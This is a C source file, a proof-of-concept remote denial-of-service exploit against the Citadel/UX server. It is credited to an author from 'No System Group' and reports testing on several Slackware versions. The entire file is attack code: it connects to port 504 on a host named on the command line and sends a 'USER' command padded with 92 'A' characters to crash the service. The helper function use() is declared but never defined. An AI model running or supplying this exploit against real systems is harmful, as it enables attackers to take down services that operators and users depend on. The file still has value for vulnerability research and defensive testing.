/* citadel_dos.c
*
* Citadel/UX Remote DoS exploit (Proof of Concept)
*
* Tested in Slackware 9.0.0 / 9.1.0 / 10.0.0
*
* by CoKi <coki nosystem.com ar>
* No System Group - www nosystem com ar
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>

#define BUFFERSIZE 96+1
#define ERROR -1
#define TIMEOUT 3
#define PORT 504

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
void use(char *program);

int main(int argc, char *argv[]) {
char buffer[BUFFERSIZE], *p, temp[BUFFERSIZE];
int sockfd;
struct hostent *he;
struct sockaddr_in dest_dir;

if(argc != 2) use(argv[0]);

p = buffer;

printf("\n Citadel/UX Remote DoS exploit (Proof of Concept)\n");
printf(" by CoKi <coki@nosystem.com.ar>\n\n");

memset(p, 'A', 96);
p += 92;
*p = '\0';

printf(" [+] verifying host:\t");
fflush(stdout);

if((he=gethostbyname(argv[1])) == NULL) {
herror("Error");
printf("\n");
exit(1);
}

printf("OK\n");

if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror("Error");
printf("\n");
exit(1);
}

dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(PORT);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);

printf(" [+] conecting...\t");
fflush(stdout);

if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {

printf("Closed\n\n");
exit(1);
}

printf("OK\n");

printf(" [+] sending exploit...\t");
fflush(stdout);

recv(sockfd, temp, sizeof(temp), 0);
send(sockfd, "USER ", 5, 0);
send(sockfd, buffer, strlen(buffer), 0);
send(sockfd, "\n", 1, 0);
close(sockfd);

printf("OK\n\n");
}

int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {

int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;

fcntl(sfd, F_SETFL, O_NONBLOCK);

res = connect(sfd, serv_addr, addrlen);

if (res >= 0) return res;

FD_ZERO(&rdf);
FD_ZERO(&wrf);

FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;

if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;

if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;

flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);

return 0;
}

return -1;
}